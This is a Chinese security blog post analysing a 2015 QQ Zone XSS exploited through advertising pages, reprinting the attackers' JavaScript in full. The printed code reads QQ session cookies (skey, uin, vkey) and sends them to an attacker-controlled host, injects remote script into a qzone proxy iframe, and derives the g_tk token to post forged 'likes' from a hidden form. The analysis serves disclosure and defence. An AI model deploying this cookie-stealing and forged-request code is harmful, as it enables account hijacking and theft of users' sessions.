virusdefender's blog ʕ•ᴥ•ʔ

qq空间某被利用的xss分析

今天听说有些人在点击了几个花千骨的广告视频后,自己的qq空间里面就被莫名其妙的分享了一些广告,还自动添加了好友。

怀疑是qq空间的xss或者csrf。在对那几个视频页面进行分析后没有发现什么可疑的代码,后来在模拟了qq手机版的ua,清除了cookies,然后更换了ip后终于复现了这个问题。

QQ20150713-2@2x.png

这个域名是不是很可疑?我开始怀疑是腾讯的合作伙伴的js被篡改了,但是点看这个php,它的内容是

 1document.getElementById("footad").src="http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin="+rndNum(9)+"&blogid=12"+rndNum(8)+"&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid="+window.vid;
 2function rndNum(len){
 3    if(len && len>0 && len<100){}else{len=32;}
 4    var strs="123456789";
 5    var maxPos=strs.length;
 6    var rdstr="";
 7    for(i=0;i<len;i++){
 8	rdstr+=strs.charAt(Math.floor(Math.random() * maxPos));
 9    }
10return rdstr;
11}
12
13if(cookieRead){
14   var dor=cookieRead("adplay");
15   if(dor && dor>0){
16	//;
17   }else{
18	cookie_set("adplay",99);
19   }
20}

http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin=842362834&blogid=1268155622&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid=19发起一个请求,当然里面有几个参数的随机生成的。

打开这个url,查看源代码,漏洞就是很明显的了。

1368966902.png

base标签里面抹掉的那个域名和url里面的抹掉的那个域名是一样的,典型的xss漏洞。因为base标签是可以改变下面的相对路径的,比如html在qq.com域下,而base里面是baidu.com,那么下面的<script src="1.js"></script>就会访问baidu.com/1.js,而不是qq.com/1.js,导致xss漏洞。而我发现这个地方腾讯其实是有过滤的,因为url里面直接使用xxx.com是不可以的,必须是xxx.com/cache.qq.com才行,但是这样的过滤并没有什么卵用。

这个embeded.js的内容是

 1try{document.domain="qq.com";}catch(e){}
 2function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return ""}}
 3
 4function cookie_set(key,value){
 5	var Then=new Date(); 
 6	Then.setTime(Then.getTime()+7*24*60*60*1000); 
 7	document.cookie=key+"="+value+"; path=/;expires="+Then.toGMTString();
 8}
 9
10function getQueryString(name) { 
11	var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 
12	var r = window.location.search.substr(1).match(reg); 
13	if (r != null) return unescape(r[2]); return ""; 
14} 
15
16var dor=cookieRead("qsdone");
17if(dor && dor>0){
18	//document.location="about:blank";
19}else{
20	cookie_set("qsdone",99);
21	window.onload=iframe_add;
22}
23
24
25
26function iframe_add(){tjskey();
27	var eframe;
28	try{
29		var isie=window.navigator.appName.toUpperCase().indexOf("MICROSOFT")>=0;
30		eframe = document.createElement(isie? "<iframe name='xframe'>":"iframe");
31	}catch(e){}
32	try{
33		if(!eframe){eframe = document.createElement("iframe");}  
34		eframe.id = "xframe";
35		eframe.name = "xframe";
36		eframe.width="0px";
37		eframe.height="0px";
38		eframe.scrolling="no";
39		eframe.setAttribute("frameborder", "0", 0);
40		eframe.src="http://b.qzone.qq.com/proxy.html?r=0.1436745170";
41		if(eframe.attachEvent){
42			eframe.attachEvent("onload",iframe_addjs);
43		} else {
44			eframe.onload=iframe_addjs;
45		}
46		document.body.appendChild(eframe);
47	}catch(e){}
48}
49
50
51function iframe_addjs(){ 
52	var xdoc;
53	if(!xdoc){try{xdoc=document.frames["xframe"].contentWindow.document;}catch(e){}}
54	if(!xdoc){try{xdoc=document.frames["xframe"].document;}catch(e){}}
55	if(!xdoc){try{xdoc=document.getElementById("xframe").contentWindow.document;}catch(e){}}
56	if(xdoc){
57		var xjs=xdoc.createElement("script");
58		xjs.src="http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";
59		xjs.type="text/javascript";
60		try{xdoc.getElementsByTagName('head')[0].appendChild(xjs);}catch(e){}
61	}
62}
63
64function tjskey(){
65
66	var eimg; 
67	eimg = document.createElement("img"); 
68	eimg.width="0px";
69	eimg.height="0px";
70	var myskey=cookieRead("skey");
71	var myqq=parseInt(cookieRead("uin").replace("o",""));
72	var vkey=cookieRead("vkey");	
73	//if(myqq>500 && vkey.length>10){
74		if(myqq>500){
75			eimg.src="http://imgcoche.qq.xxxx.com/qq/c.php?u="+myqq+"&s="+myskey+"&v="+vkey+"&f="+getQueryString("vid");
76			document.body.appendChild(eimg);
77		}	
78	}

在window.onload的时候读取cookies中的qq,key和skey等,发送到后台。

然后判断浏览器,创建一个iframe,src是http://b.qzone.qq.com/proxy.html,然后在这个页面写入js,地址是http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";。这个js的内容是

 1var xqq="19111xxxxx";
 2
 3
 4var g_skey=cookieRead("skey");
 5var g_tk;
 6if(g_skey && g_skey.length>1){
 7	g_tk=getGTK(g_skey);
 8	var g_vuin=parseInt(cookieRead("uin").replace("o",""));
 9	var g_ie=myisIE();
10	var g_sender;
11	add_form();
12}
13
14
15function getGTK(str){
16    var hash = 5381;
17    for(var i = 0, len = str.length; i < len; ++i){
18        hash += (hash << 5) + str.charAt(i).charCodeAt();
19    }
20    return hash & 0x7fffffff;
21}
22function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return null}}
23
24function myisIE(){
25   if (!!window.ActiveXObject || "ActiveXObject" in window)  
26        return true;  
27    else  
28        return false;  
29}  
30 
31
32function add_form(){
33	var ie=g_ie;
34	try{g_sender = document.createElement(ie? "<iframe name='p'>":"iframe");}catch(e){}
35   try{
36	if(!g_sender){g_sender = document.createElement("iframe");}  
37	g_sender.id = "p";
38	g_sender.name = "p";
39	g_sender.width="1px";
40	g_sender.height="1px";
41	g_sender.scrolling="no";
42	g_sender.setAttribute("frameborder", "0", 0);
43	if(g_sender.attachEvent){
44    		g_sender.attachEvent("onload",sender_addjs);
45	} else {
46		g_sender.onload=sender_addjs;
47	}
48	document.body.appendChild(g_sender);
49   }catch(e){}
50}
51
52function sender_addjs(){
53    if(!window.oncepost){
54	var uri="http://w.qzone.qq.com/cgi-bin/likes/doLike";
55	var refer="http://user.qzone.qq.com/"+g_vuin;
56	var ie=g_ie;
57
58	var ifrHTML='<!DOCTYPE html><html lang="zh-cn"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta charset="utf-8" />';
59	ifrHTML=ifrHTML+'<script type="text/javascript">'+(ie&&'document.charset="utf-8"'||"")+';document.domain="qq.com";frameElement.submited=void(0);frameElement.state="sending";<\/script></head><body>';
60	ifrHTML=ifrHTML+'<form action="'+uri+(uri.indexOf("?")>-1?"&":"?")+"g_tk="+g_tk+'" accept-charset="utf-8"  enctype="application/x-www-form-urlencoded;charset=utf-8" method="post">';
61	ifrHTML=ifrHTML+'<input type="hidden" name="qzreferrer" id="qzreferrer" value='+refer+'/>';
62	ifrHTML=ifrHTML+'<input type="hidden" name="url" id="url" value='+refer+'/>';
63	ifrHTML=ifrHTML+'<input type="hidden" name="cid" id="ouin" value="'+xqq+'" />';
64	ifrHTML=ifrHTML+'<input type="hidden" name="from" id="from" value="brand" />';
65	ifrHTML=ifrHTML+'<input type="hidden" name="scene" id="scene" value="5" />';
66	ifrHTML=ifrHTML+'<input type="hidden" name="fupdate" id="fupdate" value="0" />';
67	ifrHTML=ifrHTML+'</form><script type="text/javascript">try{var f=document.getElementById("p");f.submit();}catch(e){}<\/script></body></html>';
68	if(!ie){
69		var d=g_sender.contentDocument||g_sender.contentWindow.document;
70		if(d){
71			d.open();
72			d.write(ifrHTML);
73			d.close();
74		}
75	}
76	window.oncepost=1;
77    }
78}

动态创建了一个form,然后post数据,看url是赞了一下某个说说,反正植入js后一切就好办了~~

还有一个加好友的就是无法复现了

QQ20150713-4@2x.png

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全